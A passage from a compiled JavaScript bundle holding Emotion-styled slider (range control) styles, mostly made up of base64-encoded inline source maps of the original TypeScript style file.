cblx0XHRiYWNrZ3JvdW5kOiAkeyBkaXNhYmxlZFxuXHRcdFx0PyBDT0xPUlMudWkuYmFja2dyb3VuZERpc2FibGVkXG5cdFx0XHQ6IHJhaWxDb2xvciB8fCBDT0xPUlMudGhlbWUuZ3JheVsgMzAwIF0gfTtcblxuXHRcdEBtZWRpYSAoIGZvcmNlZC1jb2xvcnM6IGFjdGl2ZSApIHtcblx0XHRcdGJhY2tncm91bmQ6IEdyYXlUZXh0O1xuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBSYWlsID0gc3R5bGVkLnNwYW5gXG5cdGxlZnQ6IDA7XG5cdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRyaWdodDogMDtcblx0ZGlzcGxheTogYmxvY2s7XG5cdGhlaWdodDogJHsgcmFpbEhlaWdodCB9cHg7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0bWFyZ2luLXRvcDogJHsgKCByYW5nZUhlaWdodFZhbHVlIC0gcmFpbEhlaWdodCApIC8gMiB9cHg7XG5cdHRvcDogMDtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c0Z1bGwgfTtcblxuXHQkeyByYWlsQmFja2dyb3VuZENvbG9yIH07XG5gO1xuXG5jb25zdCB0cmFja0JhY2tncm91bmRDb2xvciA9ICggeyBkaXNhYmxlZCwgdHJhY2tDb2xvciB9OiBUcmFja1Byb3BzICkgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdGJhY2tncm91bmQ6ICR7IGRpc2FibGVkXG5cdFx0XHQ/IENPTE9SUy50aGVtZS5ncmF5WyA0MDAgXVxuXHRcdFx0OiB0cmFja0NvbG9yIHx8ICdjdXJyZW50Q29sb3InIH07XG5cblx0XHRAbWVkaWEgKCBmb3JjZWQtY29sb3JzOiBhY3RpdmUgKSB7XG5cdFx0XHRiYWNrZ3JvdW5kOiAkeyBkaXNhYmxlZCA/ICdHcmF5VGV4dCcgOiAnQ2FudmFzVGV4dCcgfTtcblx0XHR9XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgVHJhY2sgPSBzdHlsZWQuc3BhbmBcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c0Z1bGwgfTtcblx0aGVpZ2h0OiAkeyByYWlsSGVpZ2h0IH1weDtcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdG1hcmdpbi10b3A6ICR7ICggcmFuZ2VIZWlnaHRWYWx1ZSAtIHJhaWxIZWlnaHQgKSAvIDIgfXB4O1xuXHR0b3A6IDA7XG5cblx0LmlzLW1hcmtlZCAmIHtcblx0XHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHRcdHRyYW5zaXRpb246IHdpZHRoIGVhc2UgMC4xcztcblx0XHR9XG5cdH1cblxuXHQkeyB0cmFja0JhY2tncm91bmRDb2xvciB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IE1hcmtzV3JhcHBlciA9IHN0eWxlZC5zcGFuYFxuXHRkaXNwbGF5OiBibG9jaztcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0d2lkdGg6IDEwMCU7XG5cdHVzZXItc2VsZWN0OiBub25lO1xuXHRtYXJnaW4tdG9wOiAxN3B4O1xuYDtcblxuZXhwb3J0IGNvbnN0IE1hcmsgPSBzdHlsZWQuc3BhbmBcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHRsZWZ0OiAwO1xuXHR0b3A6IC00cHg7XG5cdGhlaWdodDogNHB4O1xuXHR3aWR0aDogMnB4O1xuXHR0cmFuc2Zvcm06IHRyYW5zbGF0ZVgoIC01MCUgKTtcblx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09MT1JTLnVpLmJhY2tncm91bmQgfTtcblx0ei1pbmRleDogMTtcbmA7XG5cbmNvbnN0IG1hcmtMYWJlbEZpbGwgPSAoIHsgaXNGaWxsZWQgfTogUmFuZ2VNYXJrUHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3MoIHtcblx0XHRjb2xvcjogaXNGaWxsZWQgPyBDT0xPUlMudGhlbWUuZ3JheVsgNzAwIF0gOiBDT0xPUlMudGhlbWUuZ3JheVsgMzAwIF0sXG5cdH0gKTtcbn07XG5cbmV4cG9ydCBjb25zdCBNYXJrTGFiZWwgPSBzdHlsZWQuc3BhbmBcblx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5ncmF5WyAzMDAgXSB9O1xuXHRmb250LXNpemU6IDExcHg7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dG9wOiA4cHg7XG5cdHdoaXRlLXNwYWNlOiBub3dyYXA7XG5cblx0JHsgcnRsKCB7IGxlZnQ6IDAgfSApIH07XG5cdCR7IHJ0bChcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoIC01MCUgKScgfSxcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoIDUwJSApJyB9XG5cdCkgfTtcblxuXHQkeyBtYXJrTGFiZWxGaWxsIH07XG5gO1xuXG5jb25zdCB0aHVtYkNvbG9yID0gKCB7IGRpc2FibGVkIH06IFRodW1iUHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3NgXG5cdFx0YmFja2dyb3VuZDogJHsgZGlzYWJsZWRcblx0XHRcdD8gQ09MT1JTLnRoZW1lLmdyYXlbIDQwMCBdXG5cdFx0XHQ6IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblxuXHRcdEBtZWRpYSAoIGZvcmNlZC1jb2xvcnM6IGFjdGl2ZSApIHtcblx0XHRcdGJhY2tncm91bmQ6ICR7IGRpc2FibGVkID8gJ0dyYXlUZXh0JyA6ICdDYW52YXNUZXh0JyB9O1xuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBUaHVtYldyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0ZGlzcGxheTogZmxleDtcblx0aGVpZ2h0OiAkeyB0aHVtYlNpemUgfXB4O1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcblx0bWFyZ2luLXRvcDogJHsgKCByYW5nZUhlaWdodFZhbHVlIC0gdGh1bWJTaXplICkgLyAyIH1weDtcblx0b3V0bGluZTogMDtcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dG9wOiAwO1xuXHR1c2VyLXNlbGVjdDogbm9uZTtcblx0d2lkdGg6ICR7IHRodW1iU2l6ZSB9cHg7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNSb3VuZCB9O1xuXHR6LWluZGV4OiAzO1xuXG5cdC5pcy1tYXJrZWQgJiB7XG5cdFx0QG1lZGlhIG5vdCAoIHByZWZlcnMtcmVkdWNlZC1tb3Rpb24gKSB7XG5cdFx0XHR0cmFuc2l0aW9uOiBsZWZ0IGVhc2UgMC4xcztcblx0XHR9XG5cdH1cblxuXHQkeyB0aHVtYkNvbG9yIH07XG5cdCR7IHJ0bCggeyBtYXJnaW5MZWZ0OiAtMTAgfSApIH07XG5cdCR7IHJ0bChcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoIDQuNXB4ICknIH0sXG5cdFx0eyB0cmFuc2Zvcm06ICd0cmFuc2xhdGVYKCAtNC41cHggKScgfVxuXHQpIH07XG5gO1xuXG5jb25zdCB0aHVtYkZvY3VzID0gKCB7IGlzRm9jdXNlZCB9OiBUaHVtYlByb3BzICkgPT4ge1xuXHRyZXR1cm4gaXNGb2N1c2VkXG5cdFx0PyBjc3NgXG5cdFx0XHRcdCY6OmJlZm9yZSB7XG5cdFx0XHRcdFx0Y29udGVudDogJyAnO1xuXHRcdFx0XHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRcdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50IH07XG5cdFx0XHRcdFx0b3BhY2l0eTogMC40O1xuXHRcdFx0XHRcdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNSb3VuZCB9O1xuXHRcdFx0XHRcdGhlaWdodDogJHsgdGh1bWJTaXplICsgOCB9cHg7XG5cdFx0XHRcdFx0d2lkdGg6ICR7IHRodW1iU2l6ZSArIDggfXB4O1xuXHRcdFx0XHRcdHRvcDogLTRweDtcblx0XHRcdFx0XHRsZWZ0OiAtNHB4O1xuXG5cdFx0XHRcdFx0QG1lZGlhICggZm9yY2VkLWNvbG9yczogYWN0aXZlICkge1xuXHRcdFx0XHRcdFx0YmFja2dyb3VuZDogR3JheVRleHQ7XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHR9XG5cdFx0ICBgXG5cdFx0OiAnJztcbn07XG5cbmV4cG9ydCBjb25zdCBUaHVtYiA9IHN0eWxlZC5zcGFuPCBUaHVtYlByb3BzID5gXG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNSb3VuZCB9O1xuXHRoZWlnaHQ6IDEwMCU7XG5cdG91dGxpbmU6IDA7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dXNlci1zZWxlY3Q6IG5vbmU7XG5cdHdpZHRoOiAxMDAlO1xuXHRib3gtc2hhZG93OiAkeyBDT05GSUcuZWxldmF0aW9uWFNtYWxsIH07XG5cblx0JHsgdGh1bWJDb2xvciB9O1xuXHQkeyB0aHVtYkZvY3VzIH07XG5gO1xuXG5leHBvcnQgY29uc3QgSW5wdXRSYW5nZSA9IHN0eWxlZC5pbnB1dGBcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0Y3Vyc29yOiBwb2ludGVyO1xuXHRkaXNwbGF5OiBibG9jaztcblx0aGVpZ2h0OiAxMDAlO1xuXHRsZWZ0OiAwO1xuXHRtYXJnaW46IDAgLSR7IHRodW1iU2l6ZSAvIDIgfXB4O1xuXHRvcGFjaXR5OiAwO1xuXHRvdXRsaW5lOiBub25lO1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdHJpZ2h0OiAwO1xuXHR0b3A6IDA7XG5cdHdpZHRoOiBjYWxjKCAxMDAlICsgJHsgdGh1bWJTaXplIH1weCApO1xuYDtcblxuY29uc3QgdG9vbHRpcFNob3cgPSAoIHsgc2hvdyB9OiBUb29sdGlwUHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3NgXG5cdFx0ZGlzcGxheTogJHsgc2hvdyA/ICdpbmxpbmUtYmxvY2snIDogJ25vbmUnIH07XG5cdFx0b3BhY2l0eTogJHsgc2hvdyA/IDEgOiAwIH07XG5cblx0XHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHRcdHRyYW5zaXRpb246XG5cdFx0XHRcdG9wYWNpdHkgMTIwbXMgZWFzZSxcblx0XHRcdFx0ZGlzcGxheSAxMjBtcyBlYXNlIGFsbG93LWRpc2NyZXRlO1xuXHRcdH1cblxuXHRcdEBzdGFydGluZy1zdHlsZSB7XG5cdFx0XHRvcGFjaXR5OiAwO1xuXHRcdH1cblx0YDtcbn07XG5cbmNvbnN0IHRvb2x0aXBQbGFjZW1lbnQgPSAoIHsgcGxhY2VtZW50IH06IFRvb2x0aXBQcm9wcyApID0+IHtcblx0Y29uc3QgaXNCb3R0b20gPSBwbGFjZW1lbnQgPT09ICdib3R0b20nO1xuXG5cdGlmICggaXNCb3R0b20gKSB7XG5cdFx0cmV0dXJuIGNzc2Bcblx0XHRcdGJvdHRvbTogLTgwJTtcblx0XHRgO1xuXHR9XG5cblx0cmV0dXJuIGNzc2Bcblx0XHR0b3A6IC04MCU7XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgVG9vbHRpcCA9IHN0eWxlZC5zcGFuPCBUb29sdGlwUHJvcHMgPmBcblx0YmFja2dyb3VuZDogcmdiYSggMCwgMCwgMCwgMC44ICk7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNTbWFsbCB9O1xuXHRjb2xvcjogd2hpdGU7XG5cdGZvbnQtc2l6ZTogMTJweDtcblx0bWluLXdpZHRoOiAzMnB4O1xuXHRwYWRkaW5nOiA0cHggOHB4O1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHR0ZXh0LWFsaWduOiBjZW50ZXI7XG5cdHVzZXItc2VsZWN0OiBub25lO1xuXHRsaW5lLWhlaWdodDogMS40O1xuXG5cdCR7IHRvb2x0aXBTaG93IH07XG5cblx0JHsgdG9vbHRpcFBsYWNlbWVudCB9O1xuXHQkeyBydGwoXG5cdFx0eyB0cmFuc2Zvcm06ICd0cmFuc2xhdGVYKC01MCUpJyB9LFxuXHRcdHsgdHJhbnNmb3JtOiAndHJhbnNsYXRlWCg1MCUpJyB9XG5cdCkgfVxuYDtcblxuLy8gQHRvZG8gUmVmYWN0b3IgUmFuZ2VDb250cm9sIHdpdGggbGF0ZXN0IEhTdGFjayBjb25maWd1cmF0aW9uXG4vLyBAc2VlOiBwYWNrYWdlcy9jb21wb25lbnRzL3NyYy9oLXN0YWNrXG5leHBvcnQgY29uc3QgSW5wdXROdW1iZXIgPSBzdHlsZWQoIE51bWJlckNvbnRyb2wgKWBcblx0ZGlzcGxheTogaW5saW5lLWJsb2NrO1xuXHRmb250LXNpemU6IDEzcHg7XG5cdG1hcmdpbi10b3A6IDA7XG5cblx0aW5wdXRbdHlwZT0nbnVtYmVyJ10mIHtcblx0XHQkeyByYW5nZUhlaWdodCB9O1xuXHR9XG5cblx0JHsgcnRsKCB7IG1hcmdpbkxlZnQ6IGAkeyBzcGFjZSggNCApIH0gIWltcG9ydGFudGAgfSApIH1cbmA7XG5cbmV4cG9ydCBjb25zdCBBY3Rpb25SaWdodFdyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0ZGlzcGxheTogYmxvY2s7XG5cdG1hcmdpbi10b3A6IDA7XG5cblx0YnV0dG9uLFxuXHRidXR0b24uaXMtc21hbGwge1xuXHRcdG1hcmdpbi1sZWZ0OiAwO1xuXHRcdCR7IHJhbmdlSGVpZ2h0IH07XG5cdH1cblxuXHQkeyBydGwoIHsgbWFyZ2luTGVmdDogOCB9ICkgfVxuYDtcbiJdfQ== */"));
30705 var trackBackgroundColor = ({
30706 disabled,
30707 trackColor
30708 }) => {
30709 return /* @__PURE__ */ css("background:", disabled ? COLORS.theme.gray[400] : trackColor || "currentColor", ";@media ( forced-colors: active ){background:", disabled ? "GrayText" : "CanvasText", ";}" + (false ? "" : ";label:trackBackgroundColor;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInJhbmdlLWNvbnRyb2wtc3R5bGVzLnRzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQTBHVyIsImZpbGUiOiJyYW5nZS1jb250cm9sLXN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IE51bWJlckNvbnRyb2wgZnJvbSAnLi4vLi4vbnVtYmVyLWNvbnRyb2wnO1xuaW1wb3J0IHsgQ09MT1JTLCBydGwsIENPTkZJRyB9IGZyb20gJy4uLy4uL3V0aWxzJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vLi4vdXRpbHMvc3BhY2UnO1xuXG5pbXBvcnQgdHlwZSB7XG5cdFJhbmdlTWFya1Byb3BzLFxuXHRSYWlsUHJvcHMsXG5cdFRodW1iUHJvcHMsXG5cdFRvb2x0aXBQcm9wcyxcblx0VHJhY2tQcm9wcyxcblx0V3JhcHBlclByb3BzLFxuXHRSYW5nZUNvbnRyb2xQcm9wcyxcbn0gZnJvbSAnLi4vdHlwZXMnO1xuXG5jb25zdCByYW5nZUhlaWdodFZhbHVlID0gMzA7XG5jb25zdCByYWlsSGVpZ2h0ID0gNDtcbmNvbnN0IHJhbmdlSGVpZ2h0ID0gKCkgPT5cblx0Y3NzKCB7IGhlaWdodDogcmFuZ2VIZWlnaHRWYWx1ZSwgbWluSGVpZ2h0OiByYW5nZUhlaWdodFZhbHVlIH0gKTtcbmNvbnN0IHRodW1iU2l6ZSA9IDEyO1xuXG5jb25zdCBkZXByZWNhdGVkSGVpZ2h0ID0gKCB7XG5cdF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSxcbn06IFBpY2s8IFJhbmdlQ29udHJvbFByb3BzLCAnX19uZXh0NDBweERlZmF1bHRTaXplJyA+ICkgPT5cblx0ISBfX25leHQ0MHB4RGVmYXVsdFNpemUgJiYgY3NzKCB7IG1pbkhlaWdodDogcmFuZ2VIZWlnaHRWYWx1ZSB9ICk7XG5cbnR5cGUgUm9vdFByb3BzID0gUGljazwgUmFuZ2VDb250cm9sUHJvcHMsICdfX25leHQ0MHB4RGVmYXVsdFNpemUnID47XG5leHBvcnQgY29uc3QgUm9vdCA9IHN0eWxlZC5kaXY8IFJvb3RQcm9wcyA+YFxuXHQtd2Via2l0LXRhcC1oaWdobGlnaHQtY29sb3I6IHRyYW5zcGFyZW50O1xuXHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRkaXNwbGF5OiBmbGV4O1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGZsZXgtc3RhcnQ7XG5cdHBhZGRpbmc6IDA7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0dG91Y2gtYWN0aW9uOiBub25lO1xuXHR3aWR0aDogMTAwJTtcblx0bWluLWhlaWdodDogNDBweDtcblx0LyogVE9ETzogcmVtb3ZlIGFmdGVyIHJlbW92aW5nIHRoZSBfX25leHQ0MHB4RGVmYXVsdFNpemUgcHJvcCAqL1xuXHQkeyBkZXByZWNhdGVkSGVpZ2h0IH07XG5gO1xuXG5jb25zdCB3cmFwcGVyQ29sb3IgPSAoIHsgY29sb3IgPSBDT0xPUlMudWkuYm9yZGVyRm9jdXMgfTogV3JhcHBlclByb3BzICkgPT5cblx0Y3NzKCB7IGNvbG9yIH0gKTtcblxuZXhwb3J0IGNvbnN0IFdyYXBwZXIgPSBzdHlsZWQoICdkaXYnLCB7XG5cdHNob3VsZEZvcndhcmRQcm9wOiAoIHByb3A6IHN0cmluZyApID0+XG5cdFx0ISBbICdjb2xvcicsICdtYXJrcycgXS5pbmNsdWRlcyggcHJvcCApLFxufSApPCBXcmFwcGVyUHJvcHMgPmBcblx0ZGlzcGxheTogYmxvY2s7XG5cdGZsZXg6IDE7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0d2lkdGg6IDEwMCU7XG5cblx0JHsgd3JhcHBlckNvbG9yIH07XG5cdCR7IHJhbmdlSGVpZ2h0IH07XG5gO1xuXG5leHBvcnQgY29uc3QgQmVmb3JlSWNvbldyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0ZGlzcGxheTogZmxleDsgLy8gZW5zdXJlcyB0aGUgaGVpZ2h0IGlzbid0IGFmZmVjdGVkIGJ5IGxpbmUtaGVpZ2h0XG5cdG1hcmdpbi10b3A6ICR7IHJhaWxIZWlnaHQgfXB4O1xuXG5cdCR7IHJ0bCggeyBtYXJnaW5SaWdodDogNiB9ICkgfVxuYDtcblxuZXhwb3J0IGNvbnN0IEFmdGVySWNvbldyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0ZGlzcGxheTogZmxleDsgLy8gZW5zdXJlcyB0aGUgaGVpZ2h0IGlzbid0IGFmZmVjdGVkIGJ5IGxpbmUtaGVpZ2h0XG5cdG1hcmdpbi10b3A6ICR7IHJhaWxIZWlnaHQgfXB4O1xuXG5cdCR7IHJ0bCggeyBtYXJnaW5MZWZ0OiA2IH0gKSB9XG5gO1xuXG5jb25zdCByYWlsQmFja2dyb3VuZENvbG9yID0gKCB7IGRpc2FibGVkLCByYWlsQ29sb3IgfTogUmFpbFByb3BzICkgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdGJhY2tncm91bmQ6ICR7IGRpc2FibGVkXG5cdFx0XHQ/IENPTE9SUy51aS5iYWNrZ3JvdW5kRGlzYWJsZWRcblx0XHRcdDogcmFpbENvbG9yIHx8IENPTE9SUy50aGVtZS5ncmF5WyAzMDAgXSB9O1xuXG5cdFx0QG1lZGlhICggZm9yY2VkLWNvbG9yczogYWN0aXZlICkge1xuXHRcdFx0YmFja2dyb3VuZDogR3JheVRleHQ7XG5cdFx0fVxuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IFJhaWwgPSBzdHlsZWQuc3BhbmBcblx0bGVmdDogMDtcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdHJpZ2h0OiAwO1xuXHRkaXNwbGF5OiBibG9jaztcblx0aGVpZ2h0OiAkeyByYWlsSGVpZ2h0IH1weDtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHRtYXJnaW4tdG9wOiAkeyAoIHJhbmdlSGVpZ2h0VmFsdWUgLSByYWlsSGVpZ2h0ICkgLyAyIH1weDtcblx0dG9wOiAwO1xuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzRnVsbCB9O1xuXG5cdCR7IHJhaWxCYWNrZ3JvdW5kQ29sb3IgfTtcbmA7XG5cbmNvbnN0IHRyYWNrQmFja2dyb3VuZENvbG9yID0gKCB7IGRpc2FibGVkLCB0cmFja0NvbG9yIH06IFRyYWNrUHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3NgXG5cdFx0YmFja2dyb3VuZDogJHsgZGlzYWJsZWRcblx0XHRcdD8gQ09MT1JTLnRoZW1lLmdyYXlbIDQwMCBdXG5cdFx0XHQ6IHRyYWNrQ29sb3IgfHwgJ2N1cnJlbnRDb2xvcicgfTtcblxuXHRcdEBtZWRpYSAoIGZvcmNlZC1jb2xvcnM6IGFjdGl2ZSApIHtcblx0XHRcdGJhY2tncm91bmQ6ICR7IGRpc2FibGVkID8gJ0dyYXlUZXh0JyA6ICdDYW52YXNUZXh0JyB9O1xuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBUcmFjayA9IHN0eWxlZC5zcGFuYFxuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzRnVsbCB9O1xuXHRoZWlnaHQ6ICR7IHJhaWxIZWlnaHQgfXB4O1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0ZGlzcGxheTogYmxvY2s7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0bWFyZ2luLXRvcDogJHsgKCByYW5nZUhlaWdodFZhbHVlIC0gcmFpbEhlaWdodCApIC8gMiB9cHg7XG5cdHRvcDogMDtcblxuXHQuaXMtbWFya2VkICYge1xuXHRcdEBtZWRpYSBub3QgKCBwcmVmZXJzLXJlZHVjZWQtbW90aW9uICkge1xuXHRcdFx0dHJhbnNpdGlvbjogd2lkdGggZWFzZSAwLjFzO1xuXHRcdH1cblx0fVxuXG5cdCR7IHRyYWNrQmFja2dyb3VuZENvbG9yIH07XG5gO1xuXG5leHBvcnQgY29uc3QgTWFya3NXcmFwcGVyID0gc3R5bGVkLnNwYW5gXG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHR3aWR0aDogMTAwJTtcblx0dXNlci1zZWxlY3Q6IG5vbmU7XG5cdG1hcmdpbi10b3A6IDE3cHg7XG5gO1xuXG5leHBvcnQgY29uc3QgTWFyayA9IHN0eWxlZC5zcGFuYFxuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdGxlZnQ6IDA7XG5cdHRvcDogLTRweDtcblx0aGVpZ2h0OiA0cHg7XG5cdHdpZHRoOiAycHg7XG5cdHRyYW5zZm9ybTogdHJhbnNsYXRlWCggLTUwJSApO1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBDT0xPUlMudWkuYmFja2dyb3VuZCB9O1xuXHR6LWluZGV4OiAxO1xuYDtcblxuY29uc3QgbWFya0xhYmVsRmlsbCA9ICggeyBpc0ZpbGxlZCB9OiBSYW5nZU1hcmtQcm9wcyApID0+IHtcblx0cmV0dXJuIGNzcygge1xuXHRcdGNvbG9yOiBpc0ZpbGxlZCA/IENPTE9SUy50aGVtZS5ncmF5WyA3MDAgXSA6IENPTE9SUy50aGVtZS5ncmF5WyAzMDAgXSxcblx0fSApO1xufTtcblxuZXhwb3J0IGNvbnN0IE1hcmtMYWJlbCA9IHN0eWxlZC5zcGFuYFxuXHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmdyYXlbIDMwMCBdIH07XG5cdGZvbnQtc2l6ZTogMTFweDtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHR0b3A6IDhweDtcblx0d2hpdGUtc3BhY2U6IG5vd3JhcDtcblxuXHQkeyBydGwoIHsgbGVmdDogMCB9ICkgfTtcblx0JHsgcnRsKFxuXHRcdHsgdHJhbnNmb3JtOiAndHJhbnNsYXRlWCggLTUwJSApJyB9LFxuXHRcdHsgdHJhbnNmb3JtOiAndHJhbnNsYXRlWCggNTAlICknIH1cblx0KSB9O1xuXG5cdCR7IG1hcmtMYWJlbEZpbGwgfTtcbmA7XG5cbmNvbnN0IHRodW1iQ29sb3IgPSAoIHsgZGlzYWJsZWQgfTogVGh1bWJQcm9wcyApID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRiYWNrZ3JvdW5kOiAkeyBkaXNhYmxlZFxuXHRcdFx0PyBDT0xPUlMudGhlbWUuZ3JheVsgNDAwIF1cblx0XHRcdDogQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXG5cdFx0QG1lZGlhICggZm9yY2VkLWNvbG9yczogYWN0aXZlICkge1xuXHRcdFx0YmFja2dyb3VuZDogJHsgZGlzYWJsZWQgPyAnR3JheVRleHQnIDogJ0NhbnZhc1RleHQnIH07XG5cdFx0fVxuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IFRodW1iV3JhcHBlciA9IHN0eWxlZC5zcGFuYFxuXHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRkaXNwbGF5OiBmbGV4O1xuXHRoZWlnaHQ6ICR7IHRodW1iU2l6ZSB9cHg7XG5cdGp1c3RpZnktY29udGVudDogY2VudGVyO1xuXHRtYXJnaW4tdG9wOiAkeyAoIHJhbmdlSGVpZ2h0VmFsdWUgLSB0aHVtYlNpemUgKSAvIDIgfXB4O1xuXHRvdXRsaW5lOiAwO1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHR0b3A6IDA7XG5cdHVzZXItc2VsZWN0OiBub25lO1xuXHR3aWR0aDogJHsgdGh1bWJTaXplIH1weDtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1JvdW5kIH07XG5cdHotaW5kZXg6IDM7XG5cblx0LmlzLW1hcmtlZCAmIHtcblx0XHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHRcdHRyYW5zaXRpb246IGxlZnQgZWFzZSAwLjFzO1xuXHRcdH1cblx0fVxuXG5cdCR7IHRodW1iQ29sb3IgfTtcblx0JHsgcnRsKCB7IG1hcmdpbkxlZnQ6IC0xMCB9ICkgfTtcblx0JHsgcnRsKFxuXHRcdHsgdHJhbnNmb3JtOiAndHJhbnNsYXRlWCggNC41cHggKScgfSxcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoIC00LjVweCApJyB9XG5cdCkgfTtcbmA7XG5cbmNvbnN0IHRodW1iRm9jdXMgPSAoIHsgaXNGb2N1c2VkIH06IFRodW1iUHJvcHMgKSA9PiB7XG5cdHJldHVybiBpc0ZvY3VzZWRcblx0XHQ/IGNzc2Bcblx0XHRcdFx0Jjo6YmVmb3JlIHtcblx0XHRcdFx0XHRjb250ZW50OiAnICc7XG5cdFx0XHRcdFx0cG9zaXRpb246IGFic29sdXRlO1xuXHRcdFx0XHRcdGJhY2tncm91bmQtY29sb3I6ICR7IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblx0XHRcdFx0XHRvcGFjaXR5OiAwLjQ7XG5cdFx0XHRcdFx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1JvdW5kIH07XG5cdFx0XHRcdFx0aGVpZ2h0OiAkeyB0aHVtYlNpemUgKyA4IH1weDtcblx0XHRcdFx0XHR3aWR0aDogJHsgdGh1bWJTaXplICsgOCB9cHg7XG5cdFx0XHRcdFx0dG9wOiAtNHB4O1xuXHRcdFx0XHRcdGxlZnQ6IC00cHg7XG5cblx0XHRcdFx0XHRAbWVkaWEgKCBmb3JjZWQtY29sb3JzOiBhY3RpdmUgKSB7XG5cdFx0XHRcdFx0XHRiYWNrZ3JvdW5kOiBHcmF5VGV4dDtcblx0XHRcdF